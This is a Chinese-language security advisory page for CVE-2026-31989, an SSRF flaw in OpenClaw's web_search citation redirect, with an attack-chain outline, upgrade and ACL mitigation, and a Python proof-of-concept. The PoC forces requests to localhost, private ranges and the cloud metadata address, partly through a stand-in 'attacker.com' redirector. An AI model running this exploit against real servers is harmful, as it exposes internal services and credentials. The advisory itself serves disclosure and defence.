IPBUF安全漏洞报告
English
CVE-2026-31989 CVSS 7.4 高危

CVE-2026-31989 OpenClaw SSRF服务器端请求伪造漏洞

披露日期: 2026-03-19

漏洞信息

漏洞编号
CVE-2026-31989
漏洞类型
服务器端请求伪造 (SSRF)
CVSS评分
7.4 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

SSRF服务器端请求伪造OpenClawCVE-2026-31989高危漏洞网络攻击引用重定向

漏洞概述

CVE-2026-31989是OpenClaw软件中的一个高危服务器端请求伪造(SSRF)漏洞。该漏洞存在于OpenClaw 2026.3.1之前版本的web_search引用重定向解析功能中。漏洞的根本原因在于OpenClaw使用了允许访问私有网络的SSRF安全策略,攻击者可以通过操纵引用重定向目标,强制OpenClaw服务器向localhost、私有网络或内部目标发起请求。由于OpenClaw服务器通常部署在企业内部网络环境中,攻击者可以利用此漏洞探测内网服务、访问内部API接口、读取本地敏感文件,甚至可能利用内部服务的信任关系进行进一步攻击。漏洞的CVSS评分为7.4,属于高危级别,攻击向量为网络,认证要求低权限,无需用户交互即可利用。

技术细节

该SSRF漏洞位于OpenClaw的web_search模块中的citation redirect(引用重定向)解析功能。OpenClaw在处理用户提供的引用URL时,会自动解析重定向目标以便获取更准确的引用信息。然而,由于其SSRF策略配置错误,允许重定向到私有网络地址(如127.0.0.1、10.x.x.x、192.168.x.x等),导致攻击者可以通过构造特殊的引用链接,诱导OpenClaw服务器向内部网络资源发起请求。攻击者只需在能够影响引用重定向目标的位置(如恶意网页链接、用户输入等)植入内部网络地址,即可触发该漏洞。由于OpenClaw服务器具有较高的网络访问权限(可访问内网资源),攻击者可以借此探测内网拓扑结构、访问内部REST API、读取localhost上的敏感数据(如管理接口、数据库连接信息等),进而可能实现横向移动和权限提升。

攻击链分析

STEP 1
步骤1
攻击者识别目标OpenClaw服务器版本,确认版本低于2026.3.1
STEP 2
步骤2
攻击者通过web_search接口提交包含内部网络地址的citation_url参数
STEP 3
步骤3
OpenClaw服务器解析引用重定向,向攻击者指定的内部地址(如127.0.0.1、10.x.x.x等)发起HTTP请求
STEP 4
步骤4
攻击者接收OpenClaw服务器返回的内部网络响应,从而获取内网服务信息、敏感数据或API响应
STEP 5
步骤5
利用获取的内网信息进行横向移动,进一步渗透内部网络

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2026-31989 SSRF PoC # Target: OpenClaw < 2026.3.1 # Attack: Force OpenClaw server to make internal network requests def exploit_ssrf(target_url, internal_target): """ Exploit SSRF vulnerability in OpenClaw web_search citation redirect Args: target_url: OpenClaw server URL internal_target: Internal network target (e.g., http://127.0.0.1:8080/admin) Returns: Response from internal target (if vulnerable) """ # Construct malicious citation with internal redirect target # OpenClaw will follow this redirect to internal network payload = { 'citation_url': f'http://attacker.com/redirect?to={internal_target}', 'search_query': 'test' } # Alternative: Direct internal URL in citation field payload_direct = { 'citation_url': internal_target, 'search_query': 'test' } try: # Send request to OpenClaw response = requests.post( f'{target_url}/api/web_search/citation', data=payload_direct, timeout=10, allow_redirects=True ) return response.text except requests.exceptions.RequestException as e: return f'Error: {str(e)}' # Example targets for testing: # Internal services: http://127.0.0.1:8080, http://10.0.0.1:22, http://192.168.1.1 # Metadata service: http://169.254.169.254/latest/meta-data/ if __name__ == '__main__': target = 'http://vulnerable-openclaw-server.com' internal = 'http://127.0.0.1:8080/admin/api' result = exploit_ssrf(target, internal) print(result)

影响范围

OpenClaw < 2026.3.1

防御指南

临时缓解措施
立即升级OpenClaw至2026.3.1或更高版本以修复该SSRF漏洞。在升级前,可通过配置网络访问控制列表(ACL)限制OpenClaw服务器仅能访问必要的外部服务,同时阻止其对内网私有地址段的访问。此外,应监控系统日志,关注异常的内部网络请求行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表